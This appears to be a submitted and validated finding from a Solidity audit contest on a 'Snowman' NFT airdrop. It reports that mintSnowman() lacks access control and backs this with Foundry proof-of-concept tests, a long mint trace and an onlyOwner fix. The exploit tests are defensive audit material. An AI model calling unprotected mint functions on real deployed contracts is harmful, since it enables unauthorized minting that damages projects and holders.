Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

No Restriction For USers on claiming the NFT without Staking

Root + Impact

Description

  • Should mint snowman Nft to the user if user on calling mintSnowman().

  • The issue arises when the protocol didnt set any constraints on caliming nft directly.


function mintSnowman(address receiver, uint256 amount) external {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}

Risk

Likelihood:

  • High The mintSnowman function is publicly accessible and entirely unprotected. An attacker requires no special permissions, Merkle proofs, or initial funds to exploit this. It can be triggered by anyone directly interacting with the NFT contract.

Impact:

  • Total Bypass of Protocol Logic: Attackers can mint unlimited Snowman NFTs for free, completely bypassing the intended Merkle tree verification and signature delegation mechanisms.

  • Economic Collapse: It destroys the core tokenomics of the protocol. By minting directly, attackers render the SnowmanAirdrop contract and the Snow token completely useless, as staking is no longer required to acquire the NFT.

Proof of Concept

  • The following test demonstrates that a standard user (Alice) can interact directly with the Snowman NFT contract and successfully mint an NFT without interacting with the airdrop contract, providing a valid signature, or staking any tokens.

function test_mintSnowmanWithOutAnySignatureVErification() public {
//Arrange
vm.startPrank(alice);
uint256 NFT_balance_Of_alice = nft.getTokenCounter();
//Act
nft.mintSnowman(alice, 100);
uint256 NFT_balance_Of_alice_after_minting = nft.getTokenCounter();
//Assert
assertEq(NFT_balance_Of_alice, 0, "No NFT should be minted");
assertEq(
NFT_balance_Of_alice_after_minting,
100,
"should be 1 as a nft is minted"
);
}
[PASS] test_mintSnowmanWithOutAnySignatureVErification() (gas: 3373412)
Traces:
[3373412] TestVulnSnow::test_mintSnowmanWithOutAnySignatureVErification()
├─ [0] VM::startPrank(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6])
│ └─ ← [Return]
├─ [2788] Snowman::getTokenCounter() [staticcall]
│ └─ ← [Return] 0
├─ [3353701] Snowman::mintSnowman(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], 100)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], tokenId: 0)
│ ├─ emit SnowmanMinted(receiver: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], numberOfSnowman: 0)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], tokenId: 1)
│ ├─ emit SnowmanMinted(receiver: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], numberOfSnowman: 1)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], tokenId: 2)
│ ├─ emit SnowmanMinted(receiver: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], numberOfSnowman: 2)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], tokenId: 3)
│ ├─ emit SnowmanMinted(receiver: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], numberOfSnowman: 3)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], tokenId: 4)
│ ├─ emit SnowmanMinted(receiver: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], numberOfSnowman: 4)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], tokenId: 5)
│ ├─ emit SnowmanMinted(receiver: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], numberOfSnowman: 5)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], tokenId: 6)
│ ├─ emit SnowmanMinted(receiver: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], numberOfSnowman: 6)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], tokenId: 7)
│ ├─ emit SnowmanMinted(receiver: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], numberOfSnowman: 7)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], tokenId: 8)
│ ├─ emit SnowmanMinted(receiver: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], numberOfSnowman: 8)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], tokenId: 9)
│ ├─ emit SnowmanMinted(receiver: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], numberOfSnowman: 9)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], tokenId: 10)
│ ├─ emit SnowmanMinted(receiver: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], numberOfSnowman: 10)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: alice: [0x328809Bc894f92807417D2dAD6b7
:
:
:
C998c1aFdac6], tokenId: 91)
│ ├─ emit SnowmanMinted(receiver: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], numberOfSnowman: 91)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], tokenId: 92)
│ ├─ emit SnowmanMinted(receiver: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], numberOfSnowman: 92)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], tokenId: 93)
│ ├─ emit SnowmanMinted(receiver: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], numberOfSnowman: 93)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], tokenId: 94)
│ ├─ emit SnowmanMinted(receiver: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], numberOfSnowman: 94)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], tokenId: 95)
│ ├─ emit SnowmanMinted(receiver: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], numberOfSnowman: 95)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], tokenId: 96)
│ ├─ emit SnowmanMinted(receiver: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], numberOfSnowman: 96)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], tokenId: 97)
│ ├─ emit SnowmanMinted(receiver: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], numberOfSnowman: 97)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], tokenId: 98)
│ ├─ emit SnowmanMinted(receiver: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], numberOfSnowman: 98)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], tokenId: 99)
│ ├─ emit SnowmanMinted(receiver: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], numberOfSnowman: 99)
│ └─ ← [Return]
├─ [788] Snowman::getTokenCounter() [staticcall]
│ └─ ← [Return] 100
└─ ← [Return]

Recommended Mitigation

  • Restrict access to the mintSnowman function so that it can only be called by the authorized SnowmanAirdrop contract.

  • The Snowman contract should inherit Ownable, set the SnowmanAirdrop contract as the owner during deployment, and apply the onlyOwner modifier to the minting function.

// 1. Import and inherit OpenZeppelin's Ownable
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
contract Snowman is ERC721, Ownable {
// 2. Set the owner in the constructor (can be the Airdrop contract address)
constructor(address initialOwner) ERC721("Snowman", "SNOW") Ownable(initialOwner) {}
// 3. Add the onlyOwner modifier to protect the function
function mintSnowman(address receiver, uint256 amount) public onlyOwner {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_tokenCounter);
s_tokenCounter++;
}
}
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

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